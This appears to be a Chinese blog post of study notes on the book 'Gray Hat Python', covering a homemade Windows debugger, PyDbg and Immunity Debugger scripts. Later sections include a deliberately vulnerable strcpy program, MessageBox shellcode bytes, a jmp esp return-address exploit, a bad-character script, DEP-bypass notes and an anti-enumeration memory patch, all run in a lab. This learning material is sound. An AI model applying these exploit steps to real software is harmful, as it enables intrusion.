Python灰帽子--黑客与逆向工程师的Python编程之道 笔记,过程问题解决

2017-01-13 10:55:01来源:csdn作者:u012763794人点击

第七城市

↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑电脑端的可以看看目录


跟着学习进度不断更新中。。。。


power by 《python灰帽子--黑客与逆向工程师的Python编程之道》



本文链接:http://blog.csdn.net/u012763794/article/details/52174275



自从上次读了python黑帽子(http://blog.csdn.net/u012763794/article/details/50612756),感觉作者写的书还不错,现在来读读python灰帽子吧(感谢翻译书的人,让我们有这么好的学习教材)



同理,我会根据学习进度不断更新, 也欢迎大家像python黑帽子一样,在下面评论给我以鼓励,我会带更多我的学习成果给大家



同样给书中全部代码链接(代码除了常量定义,都是手敲的,所以根据学习进度更新,还包含了我自己写的实验程序哦)(github):https://github.com/giantbranch/gray-hat-python-src



第一章 环境搭建1.操作系统准备:
这个没什么好说的了,win+linux,最好的解决方案就是虚拟机了,如果你土豪就两台电脑也是挺好的2.获取python:
作者是2.5太老了,我们尝试2.7吧,很多linux都是自带的了,在windows装去吧3.配置编程环境开始编程吧
作者是eclipse和PyDev, 其实我喜欢用用sublime和pycharm据说ctypes库是很多库的基础哦,什么python调用动态链接库,创建复杂的C数据类型和底层操作函数等使用动态链接库windows下:
linux下:

构造C数据类型首先我们看看三者的对应关系
代码清单
# -*- coding: utf-8 -*-
# @Date: 2016-08-10 20:30:23
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contentsfrom ctypes import *
c_int()
c_char_p('Hello world!')
c_ushort(65531)
c_short(-5)
seitz = c_char_p("loves the python")
print seitz
print seitz.value
exit()
定义结构体和联合体结构体
//C语言
struct beer_recipe{
int amt_barley;
int amt_water;
};#python
class beer_recipe(Structure):
_fields_ = [
("amt_barley", c_int),
("amt_water", c_int),
]联合体
//C语言
union{
long barley_long;
int barley_int;
char barley_char[8]
}barley_amount;#python
class barley_amount(Union):
_fields_ = [
("barley_long", c_long),
("barley_int", c_int),
("barley_char", c_char*8),
]
实践一下

第二章 调试器的设计我去,一上来就搞这个, 既然来了,就坚持干下去
1.通用寄存器
2.栈
上面两个这些建议看其他书吧,什么加密与解密,反正逆向的书都有讲吧3.调试事件
就是调试器捕捉到的事件,比如说什么断点触发,内存违例(也叫访问违例或者段错误),程序异常等
当调试器检测到这些事件,调用一个与之对应的处理函数4.断点
就是想让程序在执行到什么时候,暂停下来,方便观察堆栈,寄存器和内存的数据, 破解明文比较的验证码就是这样的了软件断点
这是一个使用最多的断点,od就是F2,本质就是一个单字节的指令,用于暂停被执行的程序,并将控制权转移给调试器的断点处理函数这个单字节的操作码是3号中断指令(INT 3),转化成机器码(或者操作码)就是 0xCC
比如我们 要在 mov eax,ebx 处暂停,对应的机器码是 8BC3,那么下断后就变成 CCC3了那么当我们按下分F2,调试器如何工作的呢? 首先读取目标地址的第一个字节的操作码,同时储存在内部的中断列表中,跟着就把那个字节改为CC,
当CPU执行到那,触发INT 3中断事件,调试器就捕捉到,判断这个地址(通过eip获取)是不是之前设置断点的地址,是的话就从内部的断点列表(跟上面的中断列表一个意思吧)找到这个地址,将之前储存的操作码写回该地址,硬件断点作用:有时候一些软件会做crc校验或其他校验,因为我们下断点改了指令,是校验值改变了,有些软件或者病毒什么的就直接退出了,那么硬件断点就可以在 某个小区块设置断点,又不修改他们
硬件断点被设置在CPU级别,用的是特定的寄存器:调试寄存器,有8个哦(DR0-7)0-3储存硬件断点地址,所以同一时间只能设置4个硬件断点DR4,5保留,DR6是状态寄存器(说明了被断点触发的调试事件的类型)DR7本质上是一个硬件断点的开关寄存器,同时储存了断点的不同类型有以下3个类型

硬件断点是用INT 1中断(INT 1 负责硬件中断和步进事件)由于硬件断点最多只能对4字节下断,如果要跟踪一大片区域就要用的内存断点了
内存断点
这个其实不是真的断点,其实是改变了某个块或者某个页的权限。比如我们设置内存写入断点, 我就让这个区域没有写入权限,那么当执行到写入时,就会触发保护页异常,cpu就会暂停下来,就断下来了。
第三章 自己动手写一个windows调试器我去,看这标题好像很高大上啊,坚持!!!奋斗3.1 尝试用python创建要调试的程序的进程那开始吧下面这个是储存一些配置信息的
# -*- coding: utf-8 -*-
# @Date: 2016-08-11 16:07:38
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contents#把所有的结构体,联合体,常量等放这,方便以后维护from ctypes import *# 给ctypes类型重新命名,跟windows编程接轨吧
WORD= c_ushort
DWORD= c_ulong
LPBYTE= POINTER(c_ubyte)
LPTSTR = POINTER(c_char)
HANDLE= c_void_p#常量
DEBUG_PROCESS = 0x00000001
CREATE_NEW_CONSOLE = 0x00000010#CreateProcessA()函数的结构,(用于设置创建子进程的各种属性)
class STARTUPINFO(Structure):
_fields_ = [
("cb",DWORD),
("lpReserved",LPTSTR),
("lpDesktop",LPTSTR),
("lpTitle",LPTSTR),
("dwX",DWORD),
("dwY",DWORD),
("dwXSize",DWORD),
("dwYSize",DWORD),
("dwXCountChars",DWORD),
("dwYCountChars",DWORD),
("dwFillAttribute",DWORD),
("dwFlags",DWORD),
("wShowWindow",WORD),
("cbReserved2",WORD),
("lpReserved2",LPTSTR),
("hStdInput",DWORD),
("hStdOutput",DWORD),
("hStdError",DWORD),
]#进程的信息:进程线程的句柄,进程线程的id
class PROCESS_INFORMATION(Structure):
_fields_ = [
("hProcess",HANDLE),
("hThread",HANDLE),
("dwProcessId",DWORD),
("dwThreadId",DWORD),
]至于这两个数据结构可以查看msdn,下面给出STARTUPINFO截图
一个debuger类# -*- coding: utf-8 -*-
# @Date: 2016-08-11 16:48:16
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contentsfrom ctypes import *
from my_debugger_defines import *
kernel32 = windll.kernel32
class debugger():def __init__(self):
pass
def load(self, path_to_exe):
creation_flags = DEBUG_PROCESS
startupinfo = STARTUPINFO()
process_information = PROCESS_INFORMATION()
startupinfo.dwFlags = 0x1
startupinfo.wShowWindow = 0x0
startupinfo.cb = sizeof(startupinfo)
if kernel32.CreateProcessA(path_to_exe,
None,
None,
None,
None,
creation_flags,
None,
None,
byref(startupinfo),
byref(process_information)):
print "[*] we have successfully launched the process!"
print "[*] PID:%d" % process_information.dwProcessId
else:
print "[*] Error:0x%08x." % kernel32.GetLastError()
启动代码
# -*- coding: utf-8 -*-
# @Date: 2016-08-12 14:18:10
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contentsimport my_debugger
debugger = my_debugger.debugger()
debugger.load("C://WINDOWS//system32//calc.exe")结果:可以看到启动计算器成功,还获取到了其pid,但是我们的任务管理器看不到,原来是因为进程没把解密绘画到屏幕上,他在等待调试器继续执行的命令,接下来我们就去干啦~~~~
继续出发,尝试实现附加到一个正在运行的程序上面进行附加在debugger类中加入了以下的代码
# 获取进程的句柄,要调试当然要全不权限了
def open_process(self, pid):
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, pid, False)
return h_processdef attach(self, pid):
self.h_process = self.open_process(pid)
#尝试附加到某个pid的程序上
if kernel32.DebugActiveProcess(pid):
self.debugger_active = True
self.pid = pid
self.run()
else:
print "[*] Unable to attach to the process."#既然都附加上去了,等待调试事件咯
def run(self):
while self.debugger_active == True:
self.get_debug_event()# 等待调试事件,获取调试事件
def get_debug_event(self):
debug_event = DEBUG_EVENT()
continue_status = DBG_CONTINUE
#INFINITE表示无限等待
if kernel32.WaitForDebugEvent(byref(debug_event), INFINITE):
#现在我们暂时不对事件进行处理
#现在只是简单地恢复进程的运行吧
raw_input("Press a key to continue...")
self.debugger_active = False
kernel32.ContinueDebugEvent(debug_event.dwProcessId,debug_event.dwThreadId, continue_status)def detach(self):
if kernel32.DebugActiveProcessStop(self.pid):
print "[*] Finished debugging. Exiting..."
else:
print "There was an error"
return Falsetest.py也改一下
import my_debugger
debugger = my_debugger.debugger()
# debugger.load("C://WINDOWS//system32//calc.exe")
pid = raw_input("Enter the PID of the process to attach to:")
debugger.attach(int(pid))
debugger.detach()
常量也要加一下哦,放在报什么没定义的,将作者的代码一贴
不知道为啥附加不到计算器上 ,难道是权限问题?
附加到CTF的reverseme就可以,附加后,输入key回车后没反应,跟着我们任意按个键continue,那就从哪个进程分离了,就输出你输入的key是错误的还发现下面两个参数调转都能运行,不过第二行的是跟windows多的一样的参数顺序
3.2 获得CPU寄存器状态1. 枚举线程
CreateToolhelp32Snapshot可以获取线程,进程,模块,堆的信息,这里我们当然设置获取线程的信息
Thread32First枚举线程,看看他对应的进程是不是我们调试的进程
跟着就直接Thread32Next循环调用就可以了2 .把所有的组合起来
可通过GetThreadContext获取寄存器的值,SetThreadContext可以改变他们哦新增代码:
def open_thread(self, thread_id):
h_thread = kernel32.OpenThread(THREAD_ALL_ACCESS, None, thread_id)
if h_thread is not None:
return h_thread
else:
print "[*] Could not obtain a valid thread handle."
return Falsedef enumerate_threads(self):
thread_entry = THREADENTRY32()
thread_list = []
snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, self.pid)
if snapshot is not None:
thread_entry.dwSize = sizeof(thread_entry)
success = kernel32.Thread32First(snapshot,byref(thread_entry))
while success:
if thread_entry.th32OwnerProcessID == self.pid:
thread_list.append(thread_entry.th32ThreadID)
success = kernel32.Thread32Next(snapshot, byref(thread_entry))kernel32.CloseHandle(snapshot)
return thread_list
else:
print "enumerate_threads fail."
return Falsedef get_thread_context(self, thread_id):
context = CONTEXT()
context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS
h_thread = self.open_thread(thread_id)
if kernel32.GetThreadContext(h_thread, byref(context)):
kernel32.CloseHandle(h_thread)
return context
else:
print "get_thread_context fail."
return Falsemy_test
# -*- coding: utf-8 -*-
# @Date: 2016-08-12 14:18:10
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contentsimport my_debugger
debugger = my_debugger.debugger()
# debugger.load("C://WINDOWS//system32//calc.exe")
pid = raw_input("Enter the PID of the process to attach to:")
debugger.attach(int(pid))threadList = debugger.enumerate_threads()
print threadList
for thread in threadList:
thread_context = debugger.get_thread_context(thread)
# %08x就是8位的十六进制,不够就0补充咯
print "[*] Dumping registers for thread ID:0x%08x" % thread
print "[**] EIP:0x%08x" % thread_context.Eip
print "[**] ESP:0x%08x" % thread_context.Esp
print "[**] EBP:0x%08x" % thread_context.Ebp
print "[**] EAX:0x%08x" % thread_context.Eax
print "[**] EBX:0x%08x" % thread_context.Ebx
print "[**] ECX:0x%08x" % thread_context.Ecx
print "[**] EDX:0x%08x" % thread_context.Edx
print "[*] END DUMP"debugger.detach()日了dog,出来注释这个# raw_input("Press a key to continue...")
# self.debugger_active = False还要把run注释掉

运行结果:可以看到我们也可以获取各个寄存器的值啦,同时这个进程有两个线程哦
3.3 实现调试事件的处理
新增了这个,mytest就看书吧
运行结果:可以获取到调试事件和线程id了(下面的get_thread_context fail.忽略,那个自己print出来的,作者那里有点问题,上面应该是传threadid的)
其中3是进程创建进程事件,6是load dll,2是创建新的线程,1是windows设置断点引发的吧,4就是线程结束自身了
# 调试事件常量
EXCEPTION_DEBUG_EVENT=0x1
CREATE_THREAD_DEBUG_EVENT=0x2
CREATE_PROCESS_DEBUG_EVENT =0x3
EXIT_THREAD_DEBUG_EVENT=0x4
EXIT_PROCESS_DEBUG_EVENT =0x5
LOAD_DLL_DEBUG_EVENT =0x6
UNLOAD_DLL_DEBUG_EVENT =0x7
OUTPUT_DEBUG_STRING_EVENT=0x8
RIP_EVENT=0x9我们继续...,那个1号Code很重要,可能包括断点,访问异常或者内存访问错误。我们首先捕捉第一个windows设置的断点吧
运行结果: 可以在1号code处输出信息啦

3.4 全能的断点1. 软件断点
我们要将0xCC写入内存,原来的指令也要读取出来吧
用的两个API ReadProcessMemory和WriteProcessMemory加了这几个函数
def read_process_memory(self, address, length):
data = ""
read_buf = create_string_buffer(length)
count = c_ulong(0)
if not kernel32.ReadProcessMemory(self.h_process, address, read_buf, length, byref(count)):
return False
else:
data += read_buf.raw
return datadef write_process_memory(self, address, data):
count = c_ulong(0)
length = len(data)
c_data = c_char_p(data[count.value:])
if not kernel32.WriteProcessMemory(self.h_process, address, c_data, length, byref(count)):
return False
else:
return True# 设置断点
def bp_set(self, address):
# 看看断点的字典里是不是已经存在这个断点的地址了
if not self.breakpoints.has_key(address):
try:
# 先读取原来的一个字节,保存后再写入0xCC
original_byte = self.read_process_memory(address, 1)
self.write_process_memory(address, '/xCC')
self.breakpoints[address] = (address, original_byte)
except:
return False
return True# 获取某个模块(一般是dll)中的某个函数的地址
def func_resolve(self, dll, function):
handle = kernel32.GetModuleHandleA(dll)
address = kernel32.GetProcAddress(handle, function)
kernel32.CloseHandle(handle)
return address接下来是调试下面这个python程序
不知道为啥那个断点出不来
经过排查,原来是读写内存出了问题
通过GetLastError知道错误码为6,即无效的句柄原来这个高清电子书里面的代码是错的,就说怎么跟windows的API的参数顺序不一样呢, 不过作者给的源码是没错的
运行结果:
怎么连续断了两次,
而且紧接着下面怎么无效出现内存访问XXXXX,而且速度很快,哎这个暂时搁着吧
2. 硬件断点代码就不贴了,主要是这三个函数,
这次是比较成功的,代码看书吧
3. 内存断点代码:
成功:
基本上这就开发了一个基于Windows的轻量级调试器。感觉实在用python来做Win32编程微笑
第四章 PyDBG——纯PYTHON调试器pydbg的安装可以参照这个http://blog.csdn.net/cheng_tian/article/details/76520581. 扩展断点处理
代码 ,另外还用到上次的printf_loop
# -*- coding: utf-8 -*-
# @Date: 2016-08-14 10:04:29
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contentsfrom pydbg import *
from pydbg.defines import *
import struct
import random# 这是我们定义的回调函数
def printf_randomizer(dbg):
# 用esp索引count局部变量的值
parameter_addr = dbg.context.Esp + 0x8
counter = dbg.read_process_memory(parameter_addr, 4)print repr(counter)
# L表示unsigned long的意思
# print struct.unpack("L", counter)
counter = struct.unpack("L", counter)[0]
print "Counter:%d" % int(counter)# 生成1到100的随机数,再转换成二进制格式的
random_counter = random.randint(1, 100)
random_counter = struct.pack("L", random_counter)[0]
print repr(random_counter)dbg.write_process_memory(parameter_addr, random_counter)
print GetLastError()
return DBG_CONTINUEdbg = pydbg()
pid = raw_input("Please Enter the printf_loop.py PID:")
# 附加
dbg.attach(int(pid))
printf_address = dbg.func_resolve("msvcrt", "printf")
# description为断点设置名字,handler设置回调函数
dbg.bp_set(printf_address, description="printf_address", handler=printf_randomizer)
# 启动起来
dbg.run()
struct.pack用于将Python的值根据格式符,转换为字符串(因为Python中没有字节(Byte)类型,可以把这里的字符串理解为字节流,或字节数组)。struct.unpack做的工作刚好与struct.pack相反,用于将字节流转换成python数据类型。它的函数原型为:struct.unpack(fmt, string),该函数返回一个元组。但运行结果出问题了,第一个读取的数据不对,第二个没有写入成功,但获取最后一次错误又没有错误
根据栈的结构应该是没错的

跟着我就用od找错误去了,直接输入断在printf上

但是这里默认使用的是msvcr90这个模块
第二个断点是下面的python代码从msvcrt找到的断点
跟od的不一样,我们再看看断在msvcrt的printf的断点时的栈的结构
好像都直接优化掉了还是怎么样
到这里我想解决方法有两个:
一个将msvcrt换成msvcr90试试
另外一个就是读出esp+4后,进一步再读那个地址里面的东西,再提取出数字,先试试第一个:将msvcrt换成msvcr90,结果还是不行大哭,我是不会那么容易被打败的,上神器od,不断地对那个变化的counter下硬件写入断点,就是图中的数字,终于找到了可能突破的点,发现调用的轨迹:
call python27.PyOS_snprintf ---->msvcr90._vsnprintf -->msvcr90.printf
而参数入栈在_vsnprintf 就已经搞定了,到后面的printf直接压字符串入栈就可以了,应该msvcrt也是一样的

那么我们改成_vsnprintf 看看,好像失败了,读出后不知如何再利用读出的地址再读但发现有个更直接的
写入时成功写入了,但好像这断点用了两次
那么我们试试当Counter为那个数值的时候直接pass掉

哈哈,成功啦
具体为什么会这样,而作者会成功呢,难道是python版本的问题?这是一个值得思考的问题
解决这个问题不容易啊~,这个问题先记在这了, 知道的各位兄弟可以评论,或者私信给我,感谢~~~~2. 处理访问违规当程序没权限或者以不合法的方式访问内存的时候就是访问违规,如 内存溢出,不恰当处理空指针等首先没有utils的安装一下,参考下面的链接 :
http://www.h4ck.org.cn/2012/06/pydbg安装(《python-灰帽子》)/代码:
# -*- coding: utf-8 -*-
# @Date: 2016-08-14 20:53:53
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contentsfrom ctypes import *
msvcrt = cdll.msvcrt
raw_input("Once the debugger is attached, press any key.")
# 定义一个缓冲区
buffer = c_char_p("AAAAA")
# 用于溢出的字符串
overflow = 'A' * 100
# 溢出
msvcrt.strcpy(buffer, overflow)# -*- coding: utf-8 -*-
# @Date: 2016-08-14 20:57:34
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contentsfrom pydbg import *
from pydbg.defines import *
import utilsdef check_accessv(dbg):
ifdbg.dbg.u.Exception.dwFirstChance:
return DBG_EXCEPTION_NOT_HANDLED
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)
dbg.terminate_process()
return DBG_EXCEPTION_NOT_HANDLEDpid = raw_input("Enter the Process ID:")
dbg = pydbg()
dbg.attach(int(pid))
dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, check_accessv)
dbg.run()怎么什么事都没发生,不科学

原来忘记打print了
运行结果:
第一个指出了那个指令引发的访问异常,及指令在那个块中
python27.dll:5c5aa6d0 mov ecx,[eax+0x10]
第二个有各个寄存器的信息,(框住的地方)
附近的汇编代码, 函数或者模块栈, 最后就是结构化异常处理程序列表
3. 进程快照1. 获得进程快照
乱输入,再restore的时候出错了
暂时找不出原因2.组合代码直接给代码,但实际运行不起来啊
# -*- coding: utf-8 -*-
# @Date: 2016-08-14 22:31:08
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contentsfrom pydbg import *
from pydbg.defines import *
import utils# 设置我们要监视的代码的数量,就是内存访问违规后输出多少代码(指令)
MAX_INSTRUCTIONS = 10
# 一些危险的函数
dangerous_functions = {
"strcpy":"msvcrt.dll",
"strncpy":"msvcrt.dll",
"sprintf":"msvcrt.dll",
"vsprintf":"msvcrt.dll"
}
dangerous_functions_resolved = {}
crash_encountered = False
instruction_count = 0
def danger_handler(dbg):
esp_offset = 0
print "[*] Hit %s" % dangerous_functions_resolved[dbg.context.Eip]
print "================================================================================"
while esp_offset<=20:
parameter = dbg.smart_dereference(dbg.context.Esp + esp_offset)
print "[ESP + %d] => %s" % (esp_offset, parameter)
esp_offset += 4
print "================================================================================"
dbg.suspend_all_threads()
dbg.process_snapshot()
dbg.resume_all_threads()
return DBG_CONTINUE
def access_violation_handler(dbg):
global crash_encounteredif dbg.dbg.u.Exception.dwFirstChance:
return DBG_EXCEPTION_NOT_HANDLED
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)
print crash_bin.crash_synopsis()if crash_encountered == False:
dbg.suspend_all_threads()
dbg.process_restore()
crash_encountered = Truefor thread_id in dbg.enumerate_threads():
print "[*] Setting single step for thread:0x%08x" % thread_id
h_thread = dbg.open_thread(thread_id)
dbg.single_step(True, h_thread)
dbg.close_handle(h_thread)dbg.resume_all_threads()
return DBG_CONTINUE
else:
dbg.terminate_process()
return DBG_EXCEPTION_NOT_HANDLEDdef single_step_handler(dbg):
global instruction_count
global crash_encountered
if crash_encountered:
if instruction_count == MAX_INSTRUCTIONS:
dbg.single_step(False)
return DBG_CONTINUE
else:
instruction = dbg.disasm(dbg.context.Eip)
print "#%d/t0x%08x : %s" % (instruction_count, dbg.context.Eip, instruction)
instruction_count += 1
dbg.single_step(True)
return DBG_CONTINUEdbg = pydbg()
pid = int(raw_input("Enter the PID you wish to monitor:"))
dbg.attach(pid)
for func in dangerous_functions.keys():
func_address = dbg.func_resolve(dangerous_functions[func], func)
print "[*] Resolved breakpoint:%s -> 0x%08x" % (func, func_address)
dbg.bp_set(func_address, handler=danger_handler)
dangerous_functions_resolved[func_address] = func
dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, access_violation_handler)
dbg.set_callback(EXCEPTION_SINGLE_STEP, single_step_handler)
dbg.run()断点设置不成功骂人
第五章 IMMUNITY———最好的调试器1.安装Immunity调试器
好像可能python版本过高,导致immunity调试器闪退2.Immunity Debugger 101
界面就不用说了,跟OD差不多1.PyCommands
我们在调试器中执行python就是使用PyCommands基础模型:
from immlib import *
def main(args):
imm = Debugger()
return "[*] PyCommand Executed!"有两个必备条件:
一是main函数,只接收一个参数(由所有参数组成的python列表)
另一个是执行完成必须返回一个字符串执行命令前在命令前加个叹号,如下!<scriptname>
2.PyHooksImmunity Debugger包含了13种不同类型的hook,每一种都能单独实现,或嵌入PyCommand具体哪13种呢,下面的懒得打字了,截图吧
3.Exploit开发其实是利用Pycommands加速exploit开发吧注意写完后的脚本放到PyCommands目录就行了1.找出友好的利用指令尝试运行出错了
这个作者的代码有点老了,immunity的API更新了据说,有些函数是小写开头的,修改处已圈出

打开一个ctf的crackme 运行脚本看看

可以看到找到了两个可利用的地址
可以看到参数是以元组进行传递的
我们利用join将元组转化为字符串,
再利用assemble函数将他转化为十六进制指令 ff e42.过滤有害字符什么是有害字符呢,加入我们在strcpy调用中发现缓冲区溢出,我们的利用代码就不能包含NULL字符(0x00),因为strcpy一遇到NULL字符就会停止拷贝数据
因此要先将shellcode编码,执行再解码有各种原因导致exploit编写失败,比如有多重的字符编码
20160818
这一课非常心累,作者就草草地说一下,并没有给缓冲区溢出的程序(还要自己写一下缓冲区溢出的实例),而且immunity_debugger又各种问题,第一闪退,有些版本还是无法调试的,能调试的又运行不了脚本,没做过真是不知其中的痛苦啊首先来个缓冲区溢出的代码,我还是另外搞一篇我的第一个缓冲区溢出实例
以下代码灵感来源于0day安全
#include <stdio.h>
#include <windows.h>int overflow_here(char *key){
char buffer[66];
strcpy(buffer, key);
return 0;
}int main(){
charkey[666];
FILE *fp;
LoadLibrary("user32.dll");
if (!(fp = fopen("key.txt", "rw+"))){
exit(0);
}
fscanf(fp, "%s", key);
overflow_here(key);
printf("come on, overflow me!");
return 0;
}

那我们先用之前的findinstruction来找jmp esp吧



用第一个吧


0x77562fbd


这个地址 不同机器,或者重启后就改变了的,注意哦



接下制作我们的弹框shellcode,直接用od就可以制作啦



跟着可以这样复制出来



一粘贴就是下面的效果33 DB 53 68 6E 63 68 21 68 74 62 72 61 68 67 69 61 6E 8B C4 53 50 50 53 B8
D6 FC C0 76 FF D0
标红的部分要根据当前机器的MessageBox的地址作相应修改

最后用16进制工具编辑成这样(注意我们输入的地址要小端模式哦),那个messageBox代码就不用逆序了,如果在你电脑上就要看看messageBox的地址是不是我这个了,不是就要改了[我的环境是win
7 64位]



用od调试看看,可以看到返回地址被我们覆盖了



F9直接让od运行吧,成功弹窗实验成功


现在才开始我们的书里面的badchar的运行,载入Immunity Debugger,运行到strcpy的下一句,执行一下badchar脚本
badchar代码:(作者的代码的变量是有问题的,这里已修复)
# -*- coding: utf-8 -*-
# @Date: 2016-08-15 11:33:42
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contentsfrom immlib import *
def main(args):
imm = Debugger()
bad_char_found = False
address = int(args[0], 16)
shellcode = "33DB53686E6368216874627261686769616E8BC453505053B8D6FCC076FFD0"
shellcode_length = len(shellcode)
debug_shellcode = imm.readMemory(address, shellcode_length)
debug_shellcode = debug_shellcode.encode("HEX")
imm.log("Address:0x%08x" % address)
imm.log("Shellcode Length:%d" % shellcode_length)
imm.log("Attack Shellcode:%s" % shellcode[:512])
imm.log("In Memory Shellcode:%s" % debug_shellcode[:512])count = 0
while count <= shellcode_length:
if debug_shellcode[count].lower() != shellcode[count].lower():
imm.log("Bad Char Detected at offset %d" % count)
bad_char_found = True
break
count += 1if bad_char_found:
imm.log("[*****] ")
imm.log("Bad character found:%s" % debug_shellcode[count])
imm.log("Bad character original:%s" % shellcode[count])
imm.log("[*****] ")
return "[*] !badchar finished,check Log window"运行结果如下:
看来我们要把我们的shellcode的大写字母改为小写,或者改写代码如下
再看看结果:

其实就是快速地比较内存中的shellcode跟我输入的有什么不同,
大家有没看到,他比较到第54,应该是第55个,就是 FCC076的第二个C,
因为重开机后我的MessageBox的地址变了,所以我把key.txt的字节改了下,而没有改原来的代码所以就出现这种情况,其实也可以看到不用人工一个个去查看到底是哪里不同了。3.绕过windows的DEP简单来说DEP就是让你不能在栈或堆上执行代码,就是没有那个执行权限这能阻止非常多的漏洞利用代码运行,因为大多的 exploit 都会把shellcode 放在堆栈上。然而有一个技巧能巧妙的绕过 DEP,利用微软未公布的 API 函数NtSetInformationProcess()。 它能够阻止进程的 DEP 保护, 将程序的执行权限转移到 shellcode。Immunity 调试器提供了一个 PyCommand 命令findantidep.py 能够很容易找到 DEP 的地址。这个函数如下

为了使进程的 DEP 保护失效,需要将 NtSetInformationProcess()的ProcessInformationClass 函数设置成 ProcessExecuteFlags (0x22),将 ProcessInformation 参数设置 MEM_EXECUTE_OPTION_ENABLE (0x2)。 问题是在 shellcode 中调用这个函数将会出现 NULL 字符。解决的方法是找到一个正常调用了 NtSetInformationProcess()的函数,再将我们的 shellcode
拷贝到这个函数里。已经有一个已知的点就在 ntdll.dll 里。我找了一下,只找到了调用这个函数的地方
作者给的是这样的

findantidep.py已经在PyCommands的文件夹里面的了直接载入我自己写的缓冲区溢出程序,开始执行


一共三个地址,下面是运行结果看看输出结果,确实非常方便,可以反DEP,0基础反DEP啊我尝试看看代码查找第一个地址是 查找MOV AL,1/nRET,即使AL置1,跟着返回,第二个地址是查找CMP AL,0x1/n PUSH 0x2/n POP ESI/n ,就是那个函数的首地址的特征代码嘛感觉还是有点怪怪的,暂时不是很懂,为啥0x54写死了呢
而且我发现插件搜出来的压根不是代码中要搜索的又是什么鬼4.搞定反调试机制1.IsDebuggerPresent这是最常用额反调试函数了,病毒就更加不用说了写了个小程序
/**
*
* @authors giantbranch (giantbranch@gmail.com)
* @date2016-08-19 16:03:39
*/
#include <windows.h>extern "C" BOOL WINAPI IsDebuggerPresent(void);int main(){
if (IsDebuggerPresent())
{
MessageBox(NULL, "正在调试。。", "标题", NULL);
}else{
MessageBox(NULL, "没有调试哦", "标题", NULL);
}
return 0;
}可以用vc6.0或者vs运行和调试运行看看结果那我们载入od看看,找到调用那个函数的地方,f7跟进
每一行都有注释了,TIB应改为TEB才对,当时搞错的,现在才发现
fs 0偏移就是结构化异常处理SEH那个相关的了,具体我还要去复习一下发现维基就有啊https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
PEB就微软的文档就有了
https://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx
typedef struct _PEB {
BYTEReserved1[2];
BYTEBeingDebugged;
BYTEReserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERSProcessParameters;
BYTEReserved4[104];
PVOID Reserved5[52];
PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
BYTEReserved6[128];
PVOID Reserved7[1];
ULONG SessionId;
} PEB, *PPEB;
TEB也贴上
http://shitwefoundout.com/wiki/Win32_Thread_Environment_Block
struct _TEB { //x86/x64
struct _NT_TIBNtTib;// 0x000 / 0x000
void *EnvironmentPointer; // 0x01c / 0x038
struct _CLIENT_ID ClientId; // 0x020 / 0x040
void *ActiveRpcHandle;// 0x028 / 0x050
void *ThreadLocalStoragePointer;// 0x02c / 0x058
struct _PEB*ProcessEnvironmentBlock;// 0x030 / 0x060
uint32_tLastErrorValue; // 0x034 / 0x068
uint32_tCountOfOwnedCriticalSections; // 0x038 / 0x06c
void *CsrClientThread;// 0x03c / 0x070
void *Win32ThreadInfo;// 0x040 / 0x078
uint32_tUser32Reserved[26]; // 0x044 / 0x080
uint32_tUserReserved[5];// 0x0ac / 0x0e8
void *WOW32Reserved;// 0x0c0 / 0x100?
uint32_tCurrentLocale;// 0x0c4
uint32_tFpSoftwareStatusRegister; // 0x0c8
void *SystemReserved1[54];// 0x0cc
uint32_tExceptionCode;// 0x1a4
struct _ACTIVATION_CONTEXT_STACKActivationContextStack; // 0x1a8
uint8_t SpareBytes1[24];// 0x1bc
//struct _GDI_TEB_BATCH GdiTebBatch;// 0x1d4
} __PACKED;
那么我们把PEB偏移2处置为0 即可,如下图的手动也是可以的
当然还可以直接调用immlib的函数啦,这里的函数是更新了的,A应该大小,下图的第一个截图是还没运行作者的命令,运行后发现出错,下意识地改成大写A,可以了
输入前:
输入后
2.解决进程枚举病毒一般都会枚举进程,找到目标就感染,或者找调试器,有就退出既然是枚举进程,我用上年暑假时候的跟着C++黑客编程这本书写的一个进程管理器来实验一下吧,作为“黑客”还是打下码要 搞的主要代码如下:
接下来就是让它一个进程都获取不到吧,脚本上场# -*- coding: utf-8 -*-
# @Date: 2016-08-19 21:26:28
# @Author: giantbranch (giantbranch@gmail.com)
# @Link: http://blog.csdn.net/u012763794?viewmode=contentsimport immlibdef main(args):
imm = immlib.Debugger()
process32first = imm.getAddress("kernel32.Process32FirstW")
process32next = imm.getAddress("kernel32.Process32NextW")
function_list = [process32first, process32next]
imm.log("process32first:0x%08x" % process32first)
imm.log("process32next:0x%08x" % process32next)
patch_bytes = imm.assemble("SUB EAX,EAX/nRET")
for address in function_list:
opcode = imm.disasmForward(address, nlines = 10)
re = imm.writeMemory(opcode.address, patch_bytes)
if re:
imm.log("success")
else:
imm.log("fail")
return "finished kill the enumerate process"
f9一运行,呵呵了
